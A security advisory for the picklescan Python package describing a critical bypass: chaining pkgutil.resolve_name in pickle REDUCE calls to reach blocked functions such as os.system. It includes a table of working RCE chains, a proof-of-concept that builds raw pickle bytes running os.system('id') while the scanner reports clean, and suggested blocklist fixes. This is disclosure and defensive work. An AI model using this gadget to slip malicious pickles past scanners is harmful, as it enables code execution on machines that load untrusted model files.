PT-2026-25493 · Pypi · Picklescan

Published

2026-03-03

·

Updated

2026-03-03

CVSS v3.1

10

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

pkgutil.resolve name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve name (which is not blocked) and misses the actual dangerous function entirely.
This defeats picklescan's entire blocklist concept — every single entry in unsafe globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:
1. STACK GLOBAL: push pkgutil.resolve name
2. REDUCE: call resolve name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE
picklescan's opcode scanner sees:
  • STACK GLOBAL with module=pkgutil, name=resolve nameNOT in blocklist → CLEAN
  • The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner
The string "os:system" is just data (a SHORT BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK GLOBAL references.

Decompiled Pickle (what the data actually does)

python
from pkgutil import resolve name
 var0 = resolve name('os:system')     # Returns the actual os.system function
 var1 = var0('malicious command')     # Calls os.system('malicious command')
result = var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve name:
ChainResolves ToConfirmed RCEpicklescan Result
resolve name("os:system")os.systemYESCLEAN
resolve name("builtins:exec")builtins.execYESCLEAN
resolve name("builtins:eval")builtins.evalYESCLEAN
resolve name("subprocess:getoutput")subprocess.getoutputYESCLEAN
resolve name("subprocess:getstatusoutput")subprocess.getstatusoutputYESCLEAN
resolve name("subprocess:call")subprocess.callYES (shell=True needed)CLEAN
resolve name("subprocess:check call")subprocess.check callYES (shell=True needed)CLEAN
resolve name("subprocess:check output")subprocess.check outputYES (shell=True needed)CLEAN
resolve name("posix:system")posix.systemYESCLEAN
resolve name("cProfile:run")cProfile.runYESCLEAN
resolve name("profile:run")profile.runYESCLEAN
resolve name("pty:spawn")pty.spawnYESCLEAN
Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

python
import struct, io, pickle

def sbu(s):
  b = s.encode()
  return b"x8c" + struct.pack("<B", len(b)) + b

# resolve name("os:system")("id")
payload = (
  b"x80x04x95" + struct.pack("<Q", 55)
  + sbu("pkgutil") + sbu("resolve name") + b"x93" # STACK GLOBAL
  + sbu("os:system") + b"x85" + b"R"        # REDUCE: resolve name("os:system")
  + sbu("id") + b"x85" + b"R"            # REDUCE: os.system("id")
  + b"."                        # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan pickle bytes
result = scan pickle bytes(io.BytesIO(payload), "test.pkl")
assert result.issues count == 0 # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's unsafe globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve name() can resolve ANY attribute from ANY module, making it a universal gadget.
Note: fickling DOES block pkgutil in its UNSAFE IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in unsafe globals — is rendered ineffective. An attacker needs only use pkgutil.resolve name as an indirection layer to call any Python function.
This affects:
  • HuggingFace Hub (uses picklescan)
  • Any ML pipeline using picklescan for safety validation
  • Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

  1. Immediate: Add pkgutil to unsafe globals:
python
"pkgutil": {"resolve name"},
  1. Also block similar resolution functions:
python
"importlib": "*",
"importlib.util": "*",
  1. Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:
  • Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
  • Treating unknown globals as dangerous by default
  • Switching to an allowlist model

Fix

Protection Mechanism Failure

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-VVPJ-8CMC-GX39

Affected Products

Picklescan